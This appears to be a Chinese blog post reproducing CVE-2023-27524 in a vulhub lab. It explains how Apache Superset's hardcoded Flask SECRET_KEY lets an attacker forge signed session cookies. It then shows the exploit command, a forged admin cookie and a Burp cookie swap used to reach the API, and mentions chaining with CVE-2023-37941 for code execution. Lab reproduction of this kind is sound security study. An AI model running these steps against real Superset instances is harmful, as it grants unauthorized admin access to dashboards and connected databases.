【vulhub漏洞复现】Auth Bypass -- Apache Superset 硬编码JWT密钥导致认证绕过漏洞(CVE-2023-27524)

本文最后更新于 2026年1月19日 上午

1.什么是Apache Superset

Apache Superset 是一个开源的现代数据探索与可视化平台‌,支持从 SQL 数据库(如 ClickHouse、Presto)实时查询数据,并创建交互式仪表板,适用于企业级 BI 分析。‌‌

2.漏洞原理

Apache Superset 2.1.0以下版本存在一个硬编码JWT(JSON Web Token )密钥漏洞(CVE-2023-27524)。该应用程序默认配置了一个预设的SECRET_KEY值,用于签名会话Cookie。当管理员未更改这个默认密钥时,攻击者可以伪造有效的会话Cookie并以任意用户(包括管理员)身份进行认证。这允许未授权访问Superset仪表盘、连接的数据库,并可能导致远程代码执行。

SECRET_KEY 核心作用(重点结合 Superset/Flask 场景)

1)会话(Session)签名与防篡改(最核心,与 CVE-2023-27524 直接相关)

Flask(Superset 底层框架)的会话数据默认会存储在客户端浏览器的 Cookie 中(而非服务端数据库),这种设计可以减轻服务端存储压力,但存在一个风险:客户端可以随意修改 Cookie 中的会话数据(比如把user_id: 100(普通用户)改成user_id: 1(管理员))。 而SECRET_KEY的核心作用就是对会话数据进行数字签名: 当用户登录 Superset 成功后,后端会用SECRET_KEY对会话数据(包含用户 ID、权限等信息)进行加密签名,生成唯一的签名值,随会话 Cookie 一起返回给客户端。 当用户后续发起请求时,浏览器会携带该会话 Cookie,后端会用同一个SECRET_KEY验证 Cookie 中的签名是否有效。 只有签名一致,才认定会话数据未被篡改,允许正常访问;若签名不一致(客户端篡改了会话数据,或使用了错误的密钥签名),则直接拒绝该会话,强制用户重新登录。 之前的 CVE-2023-27524 漏洞,正是因为 Superset 默认硬编码了固定SECRET_KEY,攻击者知晓该密钥后,就能伪造合法签名的管理员会话 Cookie,实现认证绕过。

2)敏感数据对称加密

除了签名(防篡改),SECRET_KEY还会用于对应用内的敏感数据进行对称加密(加密和解密使用同一把密钥),比如 Superset 中存储的部分临时凭证、敏感配置项等,避免这些数据以明文形式存储在数据库、配置文件或缓存中,防止数据泄露后被直接利用。

3)辅助安全校验(如 CSRF 令牌生成)

部分 Web 框架扩展(包括 Flask 的相关扩展)会基于SECRET_KEY生成跨站请求伪造(CSRF)令牌,用于验证前端请求的合法性,防止恶意网站利用用户的登录状态(有效会话)发起非法操作(比如恶意删除 Superset 的仪表盘)。

当与 CVE-2023-37941 结合使用时,未经身份验证的攻击者可以先绕过身份验证,然后利用反序列化漏洞执行任意代码。不过本文档只展示CVE-2023-27524的利用。

3.漏洞利用过程

使用CVE-2023-27524.py伪造管理员(用户id为1)会话Cookie:

1
2
3
4
5
# Install dependencies
pip install -r requirements.txt

# Forge an administrative session (whose user_id is 1) cookie
python CVE-2023-27524.py --url http://your-ip:8088 --id 1 --validate

拿到伪造cookie

Forged session cookie for user 1: eyJfdXNlcl9pZCI6MSwidXNlcl9pZCI6MX0.aWmSVA.cdcmp2HGr2wKSQ_omoRSh07CQQE

访问网站api接口文档

使用bp访问

修改Cookie: session=

成功访问到接口文档数据


【vulhub漏洞复现】Auth Bypass -- Apache Superset 硬编码JWT密钥导致认证绕过漏洞(CVE-2023-27524)
http://www.ybyb.org.cn/2026/01/14/【vulhub漏洞复现】Auth-Bypass-Apache-Superset-硬编码JWT密钥导致认证绕过漏洞(CVE-2023-27524)/
作者
LHN
发布于
2026年1月14日
许可协议